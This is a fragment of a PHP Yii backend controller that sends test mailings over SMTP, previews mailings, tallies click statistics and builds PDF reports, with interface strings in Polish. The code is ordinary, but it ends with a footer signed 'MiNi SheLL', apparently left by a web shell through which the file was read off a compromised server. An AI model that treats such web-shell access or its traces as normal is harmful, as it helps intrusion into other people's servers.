//        return $this->redirect(['index', 'id' => $model->id_mailing]);
        return $this->redirect(['index']);
    }
    
    /**
     * Test an existing Mailings model.
     * If accept is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionTestSend($id)
    {
        $model = $this->findModel($id);
        
        $mailingFullDir = $model->getDir(true);
        if(!empty($mailingFullDir) && !file_exists($mailingFullDir.'/index.php')) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')); 
            return $this->redirect(['view', 'id' => $model->id_mailing]);
        }
        
        $modelForm = new MailingTestForm();
        $modelForm->setMailing($model);
        
        $outputParams = [
            'model' => $model,
            'modelForm' => $modelForm
        ];
        
        if(Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['emails', 'id_portal']);
        }
        
        if(Yii::$app->request->getIsPost()) {   
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('test-send', $outputParams);
            }
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->render('test-send', $outputParams);
            }
            
            $modelPortal = Portals::findOne($modelForm->id_portal);            
            $smtpSettings = $modelPortal->getSettingsKey('smtp_settings');
            if(empty($smtpSettings)) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')); 
                return $this->render('test-send', $outputParams);
            }

            $mailer = Yii::$app->mailer;
            $mailer->viewPath = '@mailingsUrl/';
            $mailer->useFileTransport = false;
            $mailer->htmlLayout = false;
            $mailer->textLayout = false;
            $mailer->transport = (new \Swift_SmtpTransport($smtpSettings['host'], $smtpSettings['port'], $smtpSettings['encryption']))
                ->setUsername($smtpSettings['username'])
                ->setPassword($smtpSettings['password']);

            $mailingDir = $model->getDir();
            $message = $mailer->compose(
                $mailingDir.'/index',
                [
                    'modelPortal' => $modelPortal,
                    'idMailing' => $model->id_mailing,
                    'mailingDirName' => $mailingDir,
                    'orEmbedImages' => true,
                    'orConvertUrls' => true,
                ]
            );
            $message->setSubject($model->title);
            $message->setFrom([$smtpSettings['username'] => $smtpSettings['username']]);

            $flag = true;
            foreach($modelForm->emails as $email) {
                $message->setTo([$email => $email]);
                $flag = $message->send();
                if($flag === false) {
                    break;
                }
            }

            if($flag) {    
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Wiadomość została wysłana.')); 
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas wysyłania wiadomości.'));                
            }
        }
        
        return $this->render('test-send', $outputParams);
    }
    
    /**
     * Preview an existing Mailings model.
     * 
     * @param integer $id
     * @return mixed
     */
    public function actionPreview($id)
    {
        $model = $this->findModel($id);
        
        if(!Yii::$app->user->can('viewMailings', ['model' => $model->reservation])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        } 
        
        $mailingFullDir = $model->getDir(true);

        if(empty($mailingFullDir) || !file_exists($mailingFullDir.'/index.php') || empty($model->filterPortals)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['view', 'id' => $model->id_mailing]);
        }
        
        $modelPortal = Portals::find()->where(['id_portal' => $model->filterPortals[0]])->one();

        $mailingDir = $model->getDir();
        $outputParams = [
            'modelPortal' => $modelPortal,
            'idMailing' => $model->id_mailing,
            'mailingDirName' => $mailingDir,
            'orEmbedImages' => true,
            'orConvertUrls' => true,
        ];
                
        $this->layout = false;
        return $this->render('@mailingsUrl/'.$mailingDir.'/index', $outputParams);
    }
    
    public function actionStatistics($id)
    {
        $model = $this->findModel($id);
        
        $modelForm = new MailingStatisticsForm();
        $modelForm->setMailing($model);
        
        $statisticsTemp = MailingsUrlsVisits::getCollection()->aggregate([
            [
                '$project' => [
                    '_id' => 1,
                    'id_mailing' => 1,
                    'id_portal' => 1, 
                    'url' => 1,
                    'or_counter' => 1,
                    'visits_count' => [
                        '$size' => '$visits'
                    ]
                ]
            ],
            [
                '$match' => [
                    'id_mailing' => $model->id_mailing,
                ],
            ],
            [
                '$limit' => 100
            ],
        ]);
        
        $statistics = [];
        if(!empty($statisticsTemp)) {
            foreach($statisticsTemp as $value) {
                $statistics[intval($value['id_portal'])][] = $value;
            }
            unset($statisticsTemp);
            
            if(!empty($statistics[$modelForm->idPortal])) {
                foreach($statistics[$modelForm->idPortal] as $urlStatistics) {
                    if($urlStatistics['or_counter'] === true) {
                        $modelForm->totalVisits = $urlStatistics['visits_count'];
                    } else {
                        $modelForm->totalClicks += $urlStatistics['visits_count'];
                    }                    
                }
            }
        }
        
        $outputParams = [
            'model' => $model,
            'modelForm' => $modelForm,
            'statistics' => $statistics,
        ];
        
        if(Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['idPortal', 'idOperator']);
        }
        
        if(Yii::$app->request->getIsPost()) {   
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('statistics', $outputParams);
            }
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->render('statistics', $outputParams);
            }
                        
            $modelOperator = Users::find()
                ->with([
                    'contactData' => function($q) {
                        $q->where([
                            'required' => 1,
                            'data_type' => [ContactDataType::EMAIL, ContactDataType::PHONE, ContactDataType::MOBILE_PHONE]
                        ]);
                    }
                ])
                ->where(['id_user' => $modelForm->idOperator])
                ->one();
                
            $modelMailingReport = new MailingsReports();
            $modelMailingReport->id_portal = $modelForm->idPortal;
            $modelMailingReport->id_mailing = $model->id_mailing;
            $modelMailingReport->id_operator = $modelOperator->id_user;
            $modelMailingReport->total_clicks = intval($modelForm->totalClicks);
            $modelMailingReport->total_recipients = intval($modelForm->totalRecipients);
            $modelMailingReport->total_visits = intval($modelForm->totalVisits);
            $modelMailingReport->sending_datetime = new \MongoDB\BSON\UTCDateTime(strtotime($modelForm->sendingDatetime) * 1000);
            $modelMailingReport->report_datetime = new \MongoDB\BSON\UTCDateTime(strtotime($modelForm->reportDatetime) * 1000);
            if(!$modelMailingReport->save()) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
                return $this->render('statistics', $outputParams);
            }
            
            $domain = Portals::find()->select(['domain'])->where(['id_portal' => $modelMailingReport->id_portal])->scalar();
            $portalName = mb_substr($domain, 0, mb_strpos($domain, '.'));
                
            $tempFilePath = Yii::getAlias('@runtime')."/temp/raport_mailing_".$modelMailingReport->id_mailing."_".$portalName."_".date('Y-m-d').".html";
            $targetFilePath = Yii::getAlias('@runtime')."/temp/raport_mailing_".$modelMailingReport->id_mailing."_".$portalName."_".date('Y-m-d').".pdf";

            $content = $this->renderPartial('statistics_pdf', [
                'numberOfRecipients' => $modelForm->totalRecipients,
                'numberOfClicks' => $modelForm->totalClicks,
                'numberOfVisits' => $modelForm->totalVisits, 
                'sendingDatetime' => $modelForm->sendingDatetime,
                'reportDatetime' => $modelForm->reportDatetime,
                'modelPortal' => Portals::findOne($modelForm->idPortal),
                'modelOperator' => $modelOperator,
                'modelCompanyInvoicingData' => CompaniesInvoicingData::find()->where(['id_company' => $model->id_company, 'or_main' => 1])->one()
                
            ]);

            file_put_contents($tempFilePath, $content);
            unset($content);

            $output = \common\components\helpers\Wkhtmltopdf::save('file:///'.$tempFilePath, $targetFilePath, '-T 8 -B 8 -L 8 -R 8');    
            if($output['return'] !== 0) {
                @unlink($tempFilePath);
                @unlink($targetFilePath);
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas generowania pliku PDF.'));
                return $this->redirect(['mailings/statistics', 'id' => $model->id_mailing]);          
            } 

            $response = Yii::$app->getResponse();
            $response->setDownloadHeaders(basename($targetFilePath), 'application/pdf');
            $response->sendFile($targetFilePath);
            $response->send();

            @unlink($tempFilePath);
            @unlink($targetFilePath);
        }
        
        return $this->render('statistics', $outputParams);
    }
    
    public function actionStatisticsDetails($id)
    {
        $modelStatistics = MailingsUrlsVisits::findOne($id);
        if($modelStatistics === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelMailing = $this->findModel($modelStatistics->id_mailing);  
        
        $modelPortal = Portals::findOne($modelStatistics->id_portal);
        if($modelPortal === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $outputParams = [
            'modelStatistics' => $modelStatistics,
            'modelMailing' => $modelMailing,
            'modelPortal' => $modelPortal
        ];
        
        return $this->render('statistics_details', $outputParams);
    }
    
    public function actionReports($id)
    {
        $modelMailing = $this->findModel($id);
        
//        $modelsMailingsReportsTemp = MailingsReports::find()->where(['id_mailing' => $modelMailing->id_mailing])->orderBy('created_at')->all();
//        $modelsMailingsReportsByPortals = [];
//        if(!empty($modelsMailingsReportsTemp)) {
//            foreach($modelsMailingsReportsTemp as $modelMailingReportTemp) {
//                $modelsMailingsReportsByPortals[$modelMailingReportTemp['id_portal']][] = $modelMailingReportTemp;
//            }            
//            unset($modelsMailingsReportsTemp);
//        }
        
        $dataProvider = new ActiveDataProvider([
            'query' => MailingsReports::find()->where(['id_mailing' => $modelMailing->id_mailing])->orderBy('created_at'),
            'pagination' => [
                'defaultPageSize' => 25
            ],
            'sort' => false,
        ]);
        
        $outputParams = [
            'modelMailing' => $modelMailing,
//            'modelsMailingsReportsByPortals' => $modelsMailingsReportsByPortals,
            'dataProvider' => $dataProvider
        ];
        
        return $this->render('reports', $outputParams);
    }
    
    public function actionGetReport($id)
    {
        $modelMailingReport = MailingsReports::findOne($id);
        if($modelMailingReport === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelMailing = $this->findModel($modelMailingReport->id_mailing);
        
        $modelOperator = Users::find()
            ->with([
                'contactData' => function($q) {
                    $q->where([
                        'required' => 1,
                        'data_type' => [ContactDataType::EMAIL, ContactDataType::PHONE, ContactDataType::MOBILE_PHONE]
                    ]);
                }
            ])
            ->where(['id_user' => $modelMailingReport->id_operator])
            ->one();
            
        $domain = Portals::find()->select(['domain'])->where(['id_portal' => $modelMailingReport->id_portal])->scalar();
        $portalName = mb_substr($domain, 0, mb_strpos($domain, '.'));
        
        $tempFilePath = Yii::getAlias('@runtime')."/temp/raport_mailing_".$modelMailingReport->id_mailing."_".$portalName."_".date('Y-m-d').".html";
        $targetFilePath = Yii::getAlias('@runtime')."/temp/raport_mailing_".$modelMailingReport->id_mailing."_".$portalName."_".date('Y-m-d').".pdf";
        $content = $this->renderPartial('statistics_pdf', [
            'numberOfRecipients' => $modelMailingReport->total_recipients,
            'numberOfClicks' => $modelMailingReport->total_clicks,
            'numberOfVisits' => $modelMailingReport->total_visits, 
            'sendingDatetime' => $modelMailingReport->sending_datetime->toDateTime()->setTimezone(new \DateTimeZone(date_default_timezone_get()))->format('Y-m-d, H:i'),
            'reportDatetime' => $modelMailingReport->report_datetime->toDateTime()->setTimezone(new \DateTimeZone(date_default_timezone_get()))->format('Y-m-d, H:i'),
            'modelPortal' => Portals::findOne($modelMailingReport->id_portal),
            'modelOperator' => $modelOperator,
            'modelCompanyInvoicingData' => CompaniesInvoicingData::find()->where(['id_company' => $modelMailing->id_company, 'or_main' => 1])->one()

        ]);

        file_put_contents($tempFilePath, $content);
        unset($content);

        $output = \common\components\helpers\Wkhtmltopdf::save('file:///'.$tempFilePath, $targetFilePath, '-T 8 -B 8 -L 8 -R 8');    
        if($output['return'] !== 0) {
            @unlink($tempFilePath);
            @unlink($targetFilePath);
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas generowania pliku PDF.'));
            return $this->redirect(['mailings/reports', 'id' => $modelMailingReport->id_mailing]);          
        } 

        $response = Yii::$app->getResponse();
        $response->setDownloadHeaders(basename($targetFilePath), 'application/pdf');
        $response->sendFile($targetFilePath);
        $response->send();

        @unlink($tempFilePath);
        @unlink($targetFilePath);
    }
    
    public function actionSendReport($id)
    {        
        $modelMailingReport = MailingsReports::findOne($id);
        if($modelMailingReport === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelMailing = $this->findModel($modelMailingReport->id_mailing);
                
        $modelForm = new SendMailingReportForm(['id_report' => (string)$modelMailingReport->getPrimaryKey()]);
        
        $outputParams = [
            'modelMailingReport' => $modelMailingReport,
            'modelMailing' => $modelMailing,
            'modelForm' => $modelForm,
        ];
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['id_operator', 'id_report']);
        }
        
        if(Yii::$app->request->getIsPost()) {  
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('send_report', $outputParams);
            }
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->conditionalRender('send_report', $outputParams);
            }        
                        
            $modelOperatorRecipient = Users::find()
                ->select(['id_user', 'forename', 'surname'])
                ->with([
                    'contactData' => function($q) {
                        $q->where([
                            'required' => 1,
                            'data_type' => ContactDataType::EMAIL
                        ]);
                    }
                ])
                ->where(['id_user' => $modelForm->id_operator])
                ->one();
                
            $modelOperator = Users::find()
                ->with([
                    'contactData' => function($q) {
                        $q->where([
                            'required' => 1,
                            'data_type' => [ContactDataType::EMAIL, ContactDataType::PHONE, ContactDataType::MOBILE_PHONE]
                        ]);
                    }
                ])
                ->where(['id_user' => $modelMailingReport->id_operator])
                ->one();
                
            $flag = true;
               
            $fileName = 'mailing_statistics_report_'.$modelMailingReport->report_datetime->toDateTime()->setTimezone(new \DateTimeZone(date_default_timezone_get()))->format('Y_m_d-H_i_s');
            $fileName = preg_replace('|[\/\\.:]|i', '_', $fileName);
            $fileName = preg_replace('|[^a-zA-Z0-9_\-]|i', '', $fileName);
            
            $tempFilePath = Yii::getAlias('@runtime')."/temp/".$fileName.".html";
            $targetFilePath = Yii::getAlias('@runtime')."/temp/".$fileName.".pdf";
            $content = $this->renderPartial('statistics_pdf', [
                'numberOfRecipients' => $modelMailingReport->total_recipients,
                'numberOfClicks' => $modelMailingReport->total_clicks,
                'numberOfVisits' => $modelMailingReport->total_visits, 
                'sendingDatetime' => $modelMailingReport->sending_datetime->toDateTime()->setTimezone(new \DateTimeZone(date_default_timezone_get()))->format('Y-m-d, H:i'),
                'reportDatetime' => $modelMailingReport->report_datetime->toDateTime()->setTimezone(new \DateTimeZone(date_default_timezone_get()))->format('Y-m-d, H:i'),
                'modelPortal' => Portals::findOne($modelMailingReport->id_portal),
                'modelOperator' => $modelOperator,
                'modelCompanyInvoicingData' => CompaniesInvoicingData::find()->where(['id_company' => $modelMailing->id_company, 'or_main' => 1])->one()

            ]);

            file_put_contents($tempFilePath, $content);
            unset($content);
            
            $output = \common\components\helpers\Wkhtmltopdf::save('file:///'.$tempFilePath, $targetFilePath, '-T 8 -B 8 -L 8 -R 8');    
            if($output['return'] !== 0) {
                @unlink($tempFilePath);
                @unlink($targetFilePath);
                $flag = false;       
            } 
            
            if($flag) {
                $operatorRecipientEmail = $modelOperatorRecipient->contactData[0]->data_value;

                //wysyłamy mail z raportem statystyk mailingu (###MAIL_49###) 
                $mailer = Yii::$app->mailer;
                $mailer->htmlLayout = 'layouts/main-html';      
                $mailer->textLayout = 'layouts/main-text';           
                $flag = $mailer->compose(
                        [
                            'html' => 'send_mailing_statistics_report_html',
                            'text' => 'send_mailing_statistics_report_text'
                        ],
                        [
                            'modelMailing' => $modelMailing,
                            'modelMailingReport' => $modelMailingReport,
                            'annotations' => $modelForm->annotations,
                        ]
                    )
                    ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                    ->setTo($operatorRecipientEmail)
                    ->setSubject(Yii::t('common-mails', 'Raport z wysyłki e-mailingu firmy {companyName} (Wysłany: {sendingDatetime})', ['companyName' => $modelMailing->company->name, 'sendingDatetime' => Yii::$app->formatter->asDatetime($modelMailing->sending_datetime, 'php:d-m-Y, H:i:s')]))
                    ->attach($targetFilePath)
                    ->send();
            }
            
            if($flag) {    
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Wiadomość została wysłana.')); 
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas wysyłania wiadomości.'));                
            }
            
            @unlink($tempFilePath);
            @unlink($targetFilePath); 
        }
       
        return $this->conditionalRender('send_report', $outputParams);
    }
    
    public function actionDeleteReport($id)
    {
        $model = MailingsReports::findOne($id);
        if($model === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $idMailing = $model->id_mailing;
        
        if ($model->delete() !== false) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));             
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
        }

        return $this->redirect(['reports', 'id' => $idMailing]);
    }
    
    public function actionCompaniesList()
    {
        $searchModel = new CompaniesSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);

        return $this->renderAjax('companies_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    public function actionReservationsList()
    {
        $searchModel = new MailingsReservationsSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);
        $dataProvider->query->with('relationsWithPortals');

        return $this->renderAjax('reservations_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    public function actionContentsList()
    {
        $searchModel = new MailingsContentsSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);

        return $this->renderAjax('contents_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    public function actionEmailsList()
    {
        $searchModel = new \backend\models\EmailsSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);

        return $this->renderAjax('emails_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    /**
     * Finds the Mailings model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return Mailings the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModel($id)
    {
        if (($model = Mailings::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com